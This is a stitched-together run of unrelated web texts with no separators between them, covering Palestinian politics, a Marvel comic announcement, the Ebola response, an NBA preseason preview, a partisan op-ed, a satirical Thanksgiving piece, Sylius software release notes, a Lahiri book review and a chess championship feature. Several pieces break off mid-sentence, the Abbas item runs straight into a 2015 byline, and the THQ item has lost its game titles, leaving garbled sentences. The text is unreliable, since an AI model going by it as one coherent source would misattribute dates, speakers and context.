Speaking to with the Jordanian newspaper Al-Ghad ahead of the Arab summit that began Wednesday morning, Abbas said that by accelerating settlement construction and expropriating Palestinian lands, Israeli policy is creating a reality of a single state with two regimes, an apartheid regime in a sense.
In the interview, Abbas said he will visit Washington in April, when he is expected to meet U.S. President Donald Trump for the first time since the latter took office, though he did not mention a specific date.Details Published on Monday, March 02 2015 15:39 Written by Johnny M
New York, NY—March 2nd, 2015— This June, a cult-favorite comes to Battleworld in RUNAWAYS #1 – a brand new Secret Wars series! Rising comic stars Noelle Stevenson (NIMONA, Lumberjanes) and Sanford Greene (Uncanny Avengers) bring you a new twist on a modern Marvel classic that’s sure to appeal to Runaways fans old and new!
The best and brightest teens from all corners of Battleworld are hand-picked to attend the most prestigious academy on the planet’s capital. Yet not all is as it seems within these hallowed halls. This esteemed educational establishment may just be grooming the next generation of super villains!
What happens when the new class learns they’re on the fast track to evil and their headmaster is a diabolical super villain? RUN AWAY!
“Noelle and Sanford have come up with a fun cast of alternate reality versions of some fan-favorite characters (including |
Ebola, the White House said late on Wednesday.
“I am absolutely confident that we can prevent a serious outbreak of the disease here in the United States, but it becomes more difficult to do so if this epidemic of Ebola rages out of control in west Africa. If it does, then it will spread globally in an age of frequent travel and the kind of constant interactions that people have across borders,” he told reporters after an emergency two-hour meeting of his cabinet.
The administration is under growing political pressure over its handling of the crisis after the CDC admitted “shortcomings” in its initial response to the first confirmed US case in Dallas, admitting it should have done more to ensure the hospital was following infection-control protocols. An infection of a second health worker was confirmed on Wednesday.
On Wednesday, Obama stressed that though protecting healthcare workers was a top priority, the risks of transmission should not be overstated:
“I want to use myself as an example so people have a sense of the science here. I shook hands with, hugged and kissed – not the doctors – but a couple of the nurses at Emory because of the valiant work that they did in treating one of the patients. They followed the protocols, they knew what they were doing and I felt perfectly safe doing so. This is not a situation like the flu where the risks of a rapid spread of the disease are imminent.”
Earlier, the president declared Ebola a “threat to international security” in a video conference with European leaders.
Speaking with leaders in the UK, France, Germany and Italy shortly after the case was confirmed on Wednesday, the US president said they all urgently needed to marshal extra finances and personnel to “bend the curve of the epidemic” in west Africa.
But the White House rejected growing calls for greater restrictions on passengers travelling from the region, insisting travel bans were “not on the table” at present and would prove counter-productive by hampering local aid efforts.
The House speaker, John Boehner, urged the president to review that policy on Wednesday. “A temporary ban on travel to the United States from countries afflicted with the virus is something that the president should absolutely consider along with any other appropriate actions as doubts about the security of our air travel systems grow,” he said.
The White House spokesman, Josh Earnest, resisted calls for a single “Ebola czar” to be placed in charge of the federal response on Wednesday, claiming “people should be encouraged that the government is demonstrating a tenacious adaptive response [to Ebola]” among a range of federal agencies.
“We have designated very clear lines of responsibility in terms of which agencies are responsible for which aspects of this response,” he added.
Nonetheless, political criticism is expected to grow on Thursday when a committee of the House of Representatives convenes the first public hearing into recent developments.
Republican Tim Murphy, chairman of the oversight and investigations subcommittee, said “so far traveller self-reported screening procedures and hospital infection control measures have been demonstrated failures” in a statement issued ahead of Thursday’s testimony from the CDC director, Tom Frieden.
White House officials acknowledge failures in the initial response and said a “very concerned” Obama had cancelled travel plans and convened an urgent meeting with cabinet members on Wednesday to make sure federal agencies were properly coordinated.
“It is unacceptable that even one healthcare worker was exposed to this virus while they were providing medical treatment to this patient. So that is an indication that there were shortcomings,” Earnest told reporters in a White House press briefing dominated by the crisis.
However, he rejected suggestions that the multiple transmissions among health workers in Dallas constituted an “outbreak” of the disease, insisting that the risk of the disease spreading in the general public in the US remained “extremely unlikely”.
In Texas, officials were preparing to transfer the second nurse diagnosed with Ebola to a special bio-containment unit in Atlanta, hours after it was revealed that she had travelled on a commercial flight to Ohio with a low-grade temperature before she was diagnosed.Game Summary
The Wine and Gold open preseason action on Tuesday night against division foe the Milwaukee Bucks at Quicken Loans Arena. Tipoff is at 7:00 p.m.
Cleveland fans will get their first look at some of the new additions to the Cavaliers roster including draft picks Anthony Bennett, Sergey Karasev, Carrick Felix and free agent pickups Jarrett Jack and Earl Clark.
Milwaukee also revamped their roster this past offseason, acquiring Brandon Knight, Caron Butler and Luke Ridnour via trades while adding O.J. Mayo, Zaza Pachulia and Carlos Delfino through free agency.
Probable Starters/Injury Report* presented by Cleveland Clinic
Cavaliers: PG - Kyrie Irving, SG - Dion Waiters, SF - Earl Clark
PF - Tristan Thompson, C - Anderson Varejao
Bucks: PG - Brandon Knight, SG - O.J. Mayo, SF - Caron Butler
PF - Ersan Ilyasova, C - Larry Sanders
Injuries: (Cavs) - Tyler Zeller, (Hip Strain, Out), Andrew Bynum, (Right Knee Surgery, Out), Alonzo Gee, (Right Hamstring Soreness, Doubtful)
*Subject to change
Head-to-Head Matchup
Cleveland is 25-12 in regular season matchups against Milwaukee at The Q. Last season, the division rivals split four games with the Wine and Gold taking the most recent matchup 113-108 in Cleveland on January 25th.
In that game, the Cavaliers trailed by nine at intermission, but the Bucks extended their edge to 20 midway through the third. Then, Kyrie Irving – along with an effective second unit – ignited the comeback. Irving would go on to net 16 of his game-high 35 points in the third quarter as the Wine and Gold took control of the game.
Key to the Game/Key Matchup
Key to the Game
Taking Care of the Basketball
The first preseason game always tends to be somewhat sloppy. New teammates, new systems and facing another team besides yourself for the first time lends itself to an increase in mistakes.
The Wine and Gold took solid care of the ball this past season, averaging 14.0 turnovers per game (7th in the NBA). Over the last 43 games of the year, Cleveland turned over the ball just 13.0 times per game, which was the 2nd-lowest in the league since Jan. 14.
Defensively, the Cavs were tied for 9th in the NBA in opponent turnovers per game (15.2) and forced at least 20 turnovers 11 times on the year.
Whichever team takes better care of the basketball gives themselves a distinct advantage.
Key Matchup
Cavs Bigs vs. Bucks Bigs
One of the key matchups tonight will be the battle in the paint between Cleveland's Tristan Thompson and Anderson Varejao versus Milwaukee's Ersan Ilyasova and Larry Sanders.
The Bucks one-two punch can give any team problems at both ends of the floor. Ilyasova poses an offensive threat and can stretch the floor with his perimeter shooting while Sanders is a high energy guy who can change a game with his defense. Last season, Sanders finished second in the NBA with 2.8 blocks per game.
With Sanders over-aggressiveness on help side defense, this should allow Thompson and Varejao plenty of second chance opportunities.
Prior to his injury last season, Varejao led all qualifying NBA players in rebounds per game (14.4), offensive rebounds per game (5.5).
Thompson also had a phenomenal season on the offensive glass in 2012-13. The 2nd year pro averaged 3.7 offensive rebounds per game, which ranked 5th in the league. Furthermore, he set the Cavaliers franchise record for most offensive rebounds in a single season with 306, surpassing Zydrunas Ilgauskas’ 299 offensive rebounds in the 2004-05 season.
Promotions/Giveaways
Preseason Games at Quicken Loans Arena presented by Discount Drug Mart
The Cavaliers will host three preseason home games at Quicken Loans Arena on Tuesday, October 8th vs. the Milwaukee Bucks at 7:00 p.m.; Thursday, October 17th vs. the Detroit Pistons at 7:00 p.m.; and Saturday, October 19th vs. the Indiana Pacers at 7:30 p.m. Discount Drug Mart customers using their Courtesy Plus card with the purchase of (2) 8-pack 12 oz. bottles of Pepsi products will receive six (6) free tickets to one of three preseason games hosted at The Q.
Where to Catch the Action
TV: FSOhio HD, Radio: WTAM 1100
For live in-game updates, follow @cavs, @CavsJoeG, @CavsFredMcLeod, @MrCavalier34 and @CavsJMike on Twitter.
Use the official mobile app of the Cleveland Cavaliers to enhance your experience with the team 24/7. Feel like you’re at the game with real time updates during the action and easy access to team news, social media, and forums.Welcome to Night Vale was the most downloaded podcast on iTunes in July 2013 after its first year. What's Night Vale, you say? Is it a fixed location in space? A cult? A special tool used to scrub ectoplasm off your bathroom floor?
Imagine if Goosebumps, The Twilight Zone and The X-Files all took place in one small fictional town in the middle of the desert. That's Night Vale. The podcast follows the local radio station's reports.
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If you love conspiracy theories, absurd humor and puppy infestations, then Welcome to Night Vale is for you. Unless you're Steve Carlsberg. If you're Steve Carlsberg, you can get lost.
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All of the art in this article was created by the show's dedicated fanbase. Co-creators, Joseph Fink and Jeffrey Crator, have yet to object to any to the online fan art. Perhaps because they feel that their show is open to interpretation or perhaps because they went to the dog park and haven't been heard from since.
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Enjoy this fan art! Or don't. Nobody can tell you what to do, except the Night Vale secret police. And Mayor Winchell. And the man in the tan jacket. Remain calm and repeat after me: I enjoy this fan art.
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(via)Donald Trump campaigns in Moon Township, Pa., on Nov. 6. (Jabin Botsford/The Washington Post)
Harold Pollack is a professor at the University of Chicago.H e is the co-author, with Helaine Olen, of "The Index Card: Why Personal Finance Doesn't Have to be Complicated."
Donald Trump’s election to the presidency has permanently damaged the country. There’s no getting away from that. But those of us who lost Tuesday can still build something from the wreckage. We can find and support each other in defense of common values. Americans across the political spectrum are alarmed by the election result. Here are some concrete ways we can act.
“Mourn, then organize.” As Peter Dreier recently noted, Democrats need some time to mourn. Take that time for self-care, for whatever gives you joy and restores your resilience. I certainly needed that time. I’ll never forget election night. About 10, my daughter, so excited about a potential Hillary Clinton victory, asked me in tears: “What’s happening, Daddy?” My own tears began to flow.
But then, after taking that time, we must get busy, to mobilize a broad coalition to oppose and eventually defeat President-elect Trump. There’s no need for despair. Democrats are in far better shape than the Republicans were only eight years ago, when Barack Obama won handily, when Republicans were heavily outnumbered in Congress and when they bore the stigma of a failed Iraq War, Hurricane Katrina and the financial crisis.
I reject the Republicans’ policy agenda and their norm-breaking tactics, such as holding the debt ceiling hostage. Yet Democrats can learn something from their resilience as they clawed back. Republicans were powerful grass-roots organizers, too. Many Democrats dismissed the tea party as some artificial grass turf. If only it were. We can learn from that. Like Democrats in 2009-2010, Republicans dominate all three branches of government, and will thus politically own their own unpopular measures on health care and other matters.
[Here’s why Trump is already waffling on Obamacare]
Skip the circular firing squad. A narrow, historic upset will encourage recrimination and infighting. That’s only human, especially among Democrats. Let’s reserve our anger for political adversaries rather than the imperfect human beings who fought for progressive values and yet fell short. We must forgive one another. Clinton supporters can learn from Bernie Sanders’s populist message that mobilized so many. Sanders folk could learn some things about policy substance from Clinton, too. Both groups might also reach out to principled #NeverTrump conservatives and libertarians with whom we generally disagree. At times, they may be important allies.
Big data are nice. Big organizing is more important. Democratic political pros arrogantly overstated the power of top-down analytics this year. I suspect they overstated the role of high-tech in past Obama victories, too. Technology and data complement grass-roots passion and organizing. They can never replace or substitute for it. The Obama, Sanders — and, yes, Trump — campaigns possessed that energy. Clinton’s supporters respected her and feared Trump. Still, too many of us were passive and diffident in our support. Clinton never quite mobilized sufficient passion. Too late, Trump has solved that problem for us.
Identify and support a group, candidate or cause you admire. The organization could be the American Civil Liberties Union, Planned Parenthood, the International Rescue Committee or the National Immigrant Justice Center. That politician could command national prominence. But it’s probably best if she’s running for local school board or county treasurer. You can have an outsize influence on local races. You’ll learn skills and develop the personal networks that greatly amplify your later efforts.
Support good journalism. News media leaders are reportedly doing some soul-searching about their role. They certainly should. Terrible cable news programs elevated and normalized a Trump candidacy and placed disproportionate attention on Clinton’s real but venial sins regarding her email and the rest. Throughout, the desire for false balance and the unspoken assumption that Clinton would win led reporters to be harder on her than on her preposterous opponent, with pathetically little attention paid to policy.
[Trump voters won’t mind if he doesn’t keep all his promises.]
Trump also brought networks good ratings. Which brought Trump special treatment and $2 billion in earned media. Les Moonves, chairman, president and chief executive of CBS, unwittingly said it best:
“It may not be good for America, but it’s damn good for CBS. … It’s a terrible thing to say. But bring it on, Donald.”
We can do better. We can support valuable work, such as Ari Berman’s work on voting rights or Alec MacGillis’s reporting on the complex politics of poverty in purple states. We can watch substantive programs that explore serious issues from different perspectives. We can spurn vacuous offerings such as “Morning Joe,” and prime-time shows featuring dueling Democratic and Republican “strategists” spouting partisan talking points.
Engage ordinary Trump supporters with honesty and humanity. Half of the country voted for Trump. Millions of otherwise good people did so because they feel marginalized and disrespected in a changing nation that is callously leaving their communities behind. We must engage these men and women more effectively, showing our own readiness to listen as we hope they will listen to us. Whatever tough words we offer, we should adopt one simple rule: Say nothing about Trump supporters in private that we wouldn’t say straight to their faces. They deserve that honesty and respect, even when we bluntly criticize their arguments or their vote. So don’t Facebook unfriend that irritating Trump supporter or avoid Trump-curious relatives at Thanksgiving dinner. We need those human connections.
Remind your friends, neighbors and relatives that Trump is a minority president with no mandate. He won the election. There is no contesting that. But Clinton appears to have received more votes. Many Trump voters — and millions who didn’t vote, or who voted for Libertarian Party nominee Gary Johnson or Green Party nominee Jill Stein — told pollsters they are disquieted about his character and his competence. Whatever the president-elect may claim, he won no mandate. His stands on immigration, climate change and reproductive choice are distinctly unpopular. Many Republican officials who publicly support him privately find him appalling. We must remind people of that.
Don’t normalize Trump or the political professionals who enabled him. It will be tempting to ease into normal relationships with the president-elect and his team. Resist that. Political professionals, from Reince Priebus and Kellyanne Conway on down, who abetted Trump’s rise harmed the nation. They knew that he was dangerous and unsavory. They chose to help him anyway. They deserve the coolest of civilities, no more.
But grant policy experts the space to help Trump in certain areas to avoid national catastrophe. The president-elect and his motley inner-circle of advisers are ill-equipped for the task ahead. Out of duty and patriotism, foreign policy experts should do what they can to limit the damage. Many diplomats reportedly plan to resign rather than work for Trump. I sympathize, but I hope they stay.
Fight voter suppression. 2016 was the first presidential election since 1964 without the full protections of the Voting Rights Act. That mattered. Florida, North Carolina and Wisconsin are among the battleground states that featured prominent battles over disenfranchisement and voter suppression. Trump won close victories in all of these states — aided in no small degree by successful Republican efforts to limit minority voting. Such discriminatory practices undermine the legitimacy of our electoral system and violate basic American values. You can support organizations, such as the Moral Mondays movement or the Religious action center of Reform Judaism, that oppose such practices.
Be civil and restrained in opposing the president-elect’s proposals. Trump will depict his political adversaries as scary or extreme. Let’s not play into that, or gratuitously offend potential allies with wild rhetoric and behavior.
Support justified nonviolent protest. The Trump administration may implement cruel policies toward undocumented immigrants, Muslim Americans and other vulnerable groups. Those directly affected and their closest allies will take to the streets in protest. The rest of us must be there with them.
Join the 2018 campaign. Democrats typically slough off midterms to focus on presidential races. Even President Obama couldn’t mobilize the troops in 2010, which proved fateful. We can’t let down our guard again. Given the Senate map, we will likely lose many Senate seats, but we can create the resources and candidates we’ll need later. We must convert our current anger and sadness into effective action on local, state and congressional races that Democrats stupidly tend to ignore.
Chin up. I remain heartbroken. I’m also oddly exhilarated, girded for the coming fights. There is a clarity to these coming battles. We must remove a grifting demagogue from the White House. The stakes could hardly be higher. Those of us who oppose him have one another. We have much of the country, too, which I suspect will soon experience massive buyers’ remorse.
So cheer up, progressives, and let’s work. It won’t be easy. Important things rarely are. We can weave our own silver lining within the dark cloud that now hovers over our nation.CALGARY — Calgary’s grocery store wars are heating up with a new chapter in the battle beginning Saturday as Save-On-Foods enters the city’s fiercely-competitive marketplace.
In short time, the B.C.-based grocery chain will have three stores in Calgary — the first opening Saturday in Seton, followed by Panorama next Friday, and Walden on November 8. A fourth store on Heritage Drive and Macleod Trail is slated for 2014.
“The challenge always is to get the right locations in the right areas,” said Darrell Jones, president of the Overwaitea Food Group, parent company of Save-On-Foods, who was in Calgary Friday to prepare for Saturday’s opening of the 42,600-square-foot store in Seton. “We’d like to have at least a dozen stores or more in the Calgary marketplace. The important thing is to find the right locations and to make sure that we have the offer that the folks in Calgary are after. Nobody wants just another grocery store. You want a place you’ll be able to come to and it’s going to deliver what the folks in Calgary want. And I think we’ve done that here.
“Clearly, Calgary’s one of the fastest growing cities in Canada, if not the fastest. It’s a very alive and dynamic city and we feel that we’re a good match for Calgary.”
Save-On-Foods, which is part of the Overwaitea Food Group owned by the Jim Pattison Group, now has 26 stores in Alberta with the opening of the Seton location. The 98-year-old company has operated in Alberta since 1990 with its first store in Edmonton. It has 102 stores in Alberta and British Columbia.
“One of the things we got ourselves in doing in the Overwaitea Food Group, particularly Save-On-Foods, is to make sure that we build our stores and design our stores specifically for the marketplace,” said Jones. “For example, here in Calgary we have a Smoke and Flame Barbecue... We even have cowboy sushi which is sushi that’s got beef in it.”
Jones said the three stores have hired 430 new employees and about 75 people are also coming to the stores mainly from Edmonton and some from Vancouver.
“The grocery store industry is really competitive right now,” said Ben Brunnen, a Calgary economic consultant. “Both Target and Walmart have ramped up their grocery offerings of late, and Sobeys bought out Safeway earlier in the year.
“The decision for Save-On-Foods to expand into Calgary is a good thing for our city. Calgarians will now have more choice of where to buy their groceries, and this competition should help lower prices and increase service quality.”
Rob Walker, senior vice-president and partner with Colliers International in Calgary, who specializes in the retail segment, said the grocery market in Calgary is highly-competitive and profitable.
“Calgary is a very important market in Canada for all retailers, and especially grocery — we all need to eat. Calgary has the highest disposable income levels in Canada, and grocery retailers will want a piece of that,” he said. “In addition, Calgary is growing rapidly and these new markets — whether that is suburban or urban markets — will need basic services, which includes grocery.Ummar, the Rajasthan villager killed by cow vigilantes while transporting cattle, was on the autopsy table on Wednesday when, a few kilometres away, his wife Khurshidan gave birth to their ninth child at a primary health centre.
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Khurshidan’s oldest child is an 18-year-old son. Before she delivered the boy on Wednesday, her youngest was Aaliya, a year old. Khurshidan now has five daughters and four sons. “She is at home now and our parents, father Shahabuddin and mother Chandri, are taking care of her. But our parents are old and still shaken from the death,” said Ummar’s brother Shoukeen, 25.
Ummar was buried on Thursday. Khurshidan had been berating herself for asking Ummar to get a cow “to provide doodh-ghee for children and sell the rest, like other families in the village”. “No one can even imagine her pain now,” Shoukeen said.
On November 10, Ummar, along with Tahir and driver Javed, were returning from Dausa with cattle when they were allegedly waylaid by cow vigilantes in Alwar’s Govindgarh around dawn. They killed Ummar and wounded Tahir.Enjoy your GMO-free, fair-trade feast.
You’ve learned how to talk Obamacare, but here are the right responses to mundane controversies.
In the great progressive spirit, here are a few tips on how to talk to — and morally improve — your family this Thanksgiving:
1. Your crazy uncle complains in passing that the construction on Redlands Avenue is limiting the flow of traffic to his hardware store, and wonders if the job could be completed more quickly.
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This must not be allowed to stand. Ask your uncle if he’s an anarchist and if he has heard of Somalia. If you missed Politics 101 at Oberlin, refer to the Fact Cards that you have printed out from Vox.com and explain patiently that the government is the one thing that we all belong to and that the worry that it is “too big” or “too centralized” or “too slow to achieve basic tasks” has a long association with neo-Confederate causes.
Remind him also that:
‐“Obstruction.”
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Should all that fail, insist sadly that if he doesn’t fully apologize for his opinions you will have to conclude that he hates gay people. Ask why your family has to talk about politics all the time.
2. Your younger sister asks you to pass her the turkey from your end of the table; your older brother asks if you will pour him another glass of the wine you brought to the meal.
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Explain to your siblings that you are not a maid just because you have a vagina. Ask them if they have even considered the gender binary lately.
Refuse to hand anything over until you have been given verbal acknowledgement that the person requesting service understands the health consequences of his/her/it/oi/er/im/yown choices. A particularly effective way of keeping the attention of those who ask for alcohol at family gatherings is to pull a couple charts from the latest NIH studies on substance abuse. Given that the topic has now come up, make sure to ask your interlocutors whether they consider themselves to be “evangelists for Obamacare.” (Should they call it Obamacare, again, see your Fact Cards for a neo-Confederate connection.) If they admit that they do not, inquire as to why they are so indifferent to women of color. At this point, it is acceptable to start screaming.
Those asking for more meat should be informed as politely as possible that they are no better than murderers and that the production of non-vegan foodstuffs is extremely harmful to the environment. Note that those who compliment the turkey essentially wish Indonesian children to drown. Remind those at the table that you are a fruitarian and that you have been gluten free for 47 days straight now.
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To avoid having to repeat these steps during each and every course, sneak out on the perfectly normal and socially acceptable pretext that you are going to have a late-term abortion and throw all the sugary desserts into the garbage. Goodbye transfats.
#page#3. Your brother-in-law expresses the view that the United States is a “great country” and that he is “lucky” to live here.
Most likely, your brother-in-law’s admiration for his country is nothing more than an expression of his white, straight, middle-class, cis-male, able-bodied, thin-normative, mono-romantic, folically-normal, kink-shaming, assimilationist, stare-raping privilege. Say “I can’t even” so that all present will understand that you are serious.
Next, consider passive-aggressive comments about all those who are not able to enjoy a warm meal today: among them, Native Americans, slaves, transgender animals, otherkins, the homeless, and the victims of America’s many foreign wars. Point out that the United States cannot be that great if it is fifth in global zinc production and people are still permitted to buy SUVs. Ask aloud why America is the only country in the world that hasn’t been progressive enough to submit its Bill of Rights to a majority of the voters.
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If anyone in your extended family has moved here from another country, ensure that you educate them about the downsides of their adopted home before it is too late. Lament the false consciousness of the American voter. Note that you feel sorry for the young people in your family. Correct anyone who disagrees by saying the word “Fox.” Demand to know why your “empowered and beautiful” sister married a Republican.
4. Somebody around the table suggests that “we should say grace.”
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Insist that you are permitted to say a few words first, for balance. Use the opportunity to read the entirety of Richard Dawkins’s The God Delusion — in Spanish. Administer a test to ensure that those present have listened and have absorbed its message. If you can record this and post it to Reddit, that is even better. If not, do not worry. There will be another chance next year.
Finish your moment with a brief spiritual reading from the Hadiths.
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#related#
5. Your grandfather tells a hunting story.
Danger! This means that, somewhere in the house, your grandfather must have a gun. Panic immediately. After noting that any parents who brought their children to the gathering are irresponsible, find the firearms and the ammunition and inspect them all personally. Read your grandfather a safety briefing, as prepared by Moms Demand Action’s Shannon Watts. If he protests, remind him that his many tours in Vietnam do not constitute sufficient weapons training and that, anyway, Vietnam actually has a lower murder rate than the United States. If your grandfather has locked his firearms inside a safe in the basement, make him open it so that you can tell him indignantly to keep the guns locked and inaccessible.
6. The men decide it’s time to watch some football.
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Football is a violent, regressive game that encourages hyper-masculinity and leads to the exploitation of the poor. Worse, men’s enthusiasm for it only reinforces gender stereotypes and the alcohol-industrial-complex. Without descending into tone-policing, cut the television’s power cables and suggest to your family that they host a conversation on race instead. If they refuse, accuse them of hate speech.
— Charles C. W. Cooke is a staff writer at National Review.THQ confirmed to Gamasutra today that it is in the process of closing developers Digital Warrington and Kaos Studios as part of a "strategic realignment" less than three months after the release of alternate-reality shooter"THQ continues its strategy of aligning the best industry talent with the company�s marquee franchises," the company said in a statement."The Montreal studio will take over product development and overall creative management for thefranchise. The Montreal studio actively collaborated with Kaos on," the statement added.The company went on to say that it is actively hiring for its locations in Montreal, Vancouver and Austin, and that employees from the shuttered studios will be able to interview for those positions.Despite lower-than-expected review scores that seem tied to a temporary stock dip for THQ, the Kaos-developed sold an estimated million copies worldwide in its first 10 days on store shelves.THQ let go of 17 Kaos employees at the end of March, leaving the studio with roughly 70 staffers. Kaos also developed the 2008 shooterOver 45 employees were employed at THQ's Digital Warrington studio, according to the company's website. The studio was founded in 2003 as Juice Games and best known for theseries of racing titles before being acquired by THQ in 2006 The studio's latest release, XBLA's, received poor reviews and sales of just over 2,000 units in the month following its early April release, according to a Gamasutra analysis.Thanks to the amazing Gonzalo Vilaseca from the REISS team, Sylius now has a translatable products catalog!
Overview
Obviously, the biggest new thing in this release is the internationalization feature. Your products, attributes and taxonomies can be translated into any language!
This is just the beginning for this feature and we plan to expand on it in the upcoming releases. Internationalization is an important component and we want to do it right.
The UI for entering translation is temporary and basically allows you to switch tabs in order to enter the data in a different locale. The plan is to improve the UX with a completely new version of our backend interface.
This release contains a lot of bug fixes, solved installation problems and general improvements. We highly recommend upgrading.
Translating any resource
The i18n system is integrated with our SyliusResourceBundle, so you can translate any resource with ease, not only Sylius models.
New installer
Installing Sylius has not been easy recently, we have started moving very fast and a lot of things were updated and not documented.
I have worked on a brand new installer commands, which not only install Sylius, but can help you with some tedious tasks, like resetting your development instance.
$ app/console sylius:install # Runs all the commands below! $ app/console sylius:install:check-requirements $ app/console sylius:install:database $ app/console sylius:install:sample-data $ app/console sylius:install:setup $ app/console sylius:install:assets # assets:install + assetic:dump
The commands are quite smart and can reset your database, schema and configure default currencies, locales & countries..
API
While we are still working on the OAuth authentication for the API, it is pretty functional already. You can find a quite detailed documentation here.
The API is based on the REST standard, has hypermedia links and supports both XML and JSON.
There is still a lot of work in terms of tweaking the API responses and request parameters, but today you can create and place orders, add products, users and much more.
With new versions, the API will mature more and more! Big thanks to Kristian Løvstrøm for extracting this work from my branch!
Product archetypes
Sylius always had this clunky way of handling similar products – prototypes. With this release, we are introducing a much nicer feature, called Product Archetypes.
Thanks to the great work of Adam Elsodaney, you can benefit from this even outside of Sylius.
Archetype defines what kind of attributes and options a product has. Every product can now reference a single Archetype.
If you change the Archetype, all products of this type will update as well. What is more, archetypes build a tree, so you can have hierarchical product types. Sounds awesome?
You can also go to the list of archetypes and simply click the “Create product” button to view the pre-filled form.
From business perspective, I think Product Family name is a bit more clear and we will consider renaming it in the UI. The technical term shall remain “Archetype”.
Things coming in v0.14.x
In the development branch v0.14.x, I plan to merge my new Mailer component, which brings configurable e-mails to the backend and generally makes it super easy to send any e-mails. Yes, it is available standalone as everything in Sylius!
The other big improvement will be reports bundle, crafted by our talented team at Lakion!
There are many open PRs waiting in the queue and I hope to review them and merge to the core ASAP.
PHP 5.4!
Yes, Sylius will definitely bump its requirement to PHP 5.4. We are still on the edge regarding the version bump to 5.5, but it is a possibility for 1.0.
In the meantime, please be prepared that in the coming weeks the minimum PHP version for Sylius will be 5.4. I will make a separate blog post about the topic.
Installation
You can install and try the latest Sylius by running the following commands:
$ composer create-project -s dev sylius/sylius:v0.13.0 $ cd sylius $ app/console sylius:install
To start a new project on top of Sylius, use Standard Edition:
$ composer create-project -s dev sylius/sylius-standard:v0.13.0 acme $ cd acme $ app/console sylius:install
That’s it, new Sylius installer will guide you through the process.
Make sure that Sylius can write to app/cache, app/logs and web/media directories.
Summary
Want to help spread the news about the project? Take a minute to star our repository on GitHub.
As usually, huge thank you to all contributors and stay tuned for more!Jhumpa Lahiri’s long essay, The Clothing of Books, is part personal, part paean to the book cover, now in the danger of vanishing, thanks to the Internet Age. I must confess that I read a digital version; downloading the e-version provided instant access. The cover came up on screen, the words etched against a meditative sombre blue. But the text had a greater prominence, allowing for little distraction on the cover’s part – something Lahiri takes on in this essay, which is partly about the piquant contradictions and complexities that surround a book cover.
What they represent
From the very moment of its inception, the cover of a book signals the moment when the book no longer belongs to the author. This is when a whole host of other people, some who have had no hand in shaping the text within, come into play, and who must now decide how to best represent the book’s contents – to help in “categorization” of the book, slot it into “genre”, to help enhance its marketability.
All too often, especially with the increasing digitisation of our age and the reach of social media, the cover is the first thing that is “shared”; and, as Lahiri writes, the first thing that is “blamed” when a book fails.
Lahiri’s relations with her own book covers are ambivalent, sometimes contradictory. As in the way this essay begins with Lahiri’s own longing to don a uniform when, on a holiday to Calcutta, she sees her cousins putting on their school uniforms. Uniforms grant a sense of belonging, evoke familiarity and make one part of a comforting collective. In America, her mother always wore the clothes of her youth in Bengal, but not Lahiri, who felt “awkward” and out of place in clothes her parents picked for her.
The contradictions
This gave her a sense of hybridity, a dual identity – something Lahiri also notices in her book covers. On a few occasions, she acknowledges, she has been “repelled” by her own book covers and admits using the bound galleys of her book at public readings. The blurbs on a book cover – even on her own – are a distraction, an interruption between the book itself and the reader. As Lahiri says, blurbs have come to matter, for a reader comes to a book like a tourist using a guidebook for a city.
Till the publication of her first work in both Italian and English, which appeared in 2015, Lahiri has had little or no say in her own book covers. Most times, her covers came to her via email, in almost the final stage. It was more or less understood that her suggestions would be considered, but would not be binding – the gesture of asking was a formality. A fact very many authors would readily identify with.
A cover is “the visual representation of the book”, and yet authors are rarely consulted on this matter. The Stephen sisters, Lahiri writes, were a rare exception: When Vanessa |
murmur — equal parts English and Russian with an occasional dash of Norwegian. The clinking of glasses and the ratatat of ice in cocktail shakers punctuated the chess talk.
Like a Russian nesting doll, a VVIP section had been set up for Peter Thiel, the Silicon Valley billionaire, and company within the VIP section. It was newly roped off and closely monitored by scary-looking bodyguards. Thiel, a Donald Trump supporter and a strong chess player himself, and Yuri Milner, the Russian billionaire venture capitalist, sat at a board inside. With apologies to Beyoncé, it was $6 billion at a chess table. Accompanying them: Bennett Miller, who directed “Foxcatcher,” about the wrestling-obsessed murderer and multimillionaire heir to the du Pont fortune, and the Icelandic grandmaster Hedinn Steingrimsson, who was giving them a private analysis of the ongoing championship game taking place just a few yards away.
A buffet and wine bar had been installed for the guests from Silicon Valley who’d arrived that day, and bored-looking members of their entourages lolled on large couches, poking at iPhones. Word around the venue was that the billionaires had paid $50,000 for these privileges. (The match’s organizer wouldn’t comment on the figure.) Much later in the evening, some other journalists and I raided their buffet, eating what must have been thousands of dollars worth of cold mini tacos.
“Are you security?” the writer Brin-Jonathan Butler asked one of the well-dressed, well-built men keeping close watch over the well-heeled chess lesson.
“Something like that,” he responded ominously. “I wouldn’t bother them, if you don’t mind.”
This World Chess Championship scene was somewhere at the intersection of Bond film, Trump fundraiser and museum gala.
Despite the high-powered, moneyed interest, and its prime New York City location, the match was sparsely covered by the American press — as chess is generally — and given little attention outside the core chess world. It’s unlikely to increase the game’s reach or exposure as the organizers may have hoped. That did happen once in the States — in 1972 — but that was because of Bobby Fischer.
The troublesome shadow of Fischer stretches over every conversation of chess’s success and future in the U.S. He was the best American player of all time, and its only modern world champion. His legacy is stained by his vocal anti-Semitism, and comments that he was pleased with the terrorism on Sept. 11, among other things. But in his chess prime, he carried the U.S. on his back while sitting at the board, having taught himself the game, largely alone, in a shabby Brooklyn apartment. And he won.
While this year’s championship lacked the colorful characters and Cold War narrative of Fischer’s title run — although some journalists tried to revive them — it did have some of the controversy.
Kirsan Ilyumzhinov, the president of the game’s international governing body, FIDE, was absent from the match, having been sanctioned by the U.S. for business connections with the Assad regime in Syria. Ilyumzhinov is no stranger to controversy. He insists he was abducted by aliens. They were wearing yellow spacesuits and nabbed him from his Moscow apartment in 1997, taking him away to a distant star. He considers chess “a gift from extraterrestrial civilizations.”
There are other internal chess-world squabbles. Agon Limited, the match’s organizer, filed an application for a restraining order and injunction against a number of popular third-party chess websites, just before the match began. The websites’ alleged transgression? Relaying chess moves live, which Agon saw as a violation. The application was denied by a judge in the U.S. District Court for the Southern District of New York, who wrote that “robust reporting of factual data concerning the contestants’ moves” best served the public interest. Agon’s CEO, Ilya Merenzon, told me that the company would continue to pursue the matter in court, and was also proposing legislation to cement their rights to the games they organize.
I discussed the case with Macauley Peterson, the content director for chess24, one of the defendants, on the floor of the venue during one of the early games. He kept glancing away from me at people walking by. He said he was worried about who might be eavesdropping.
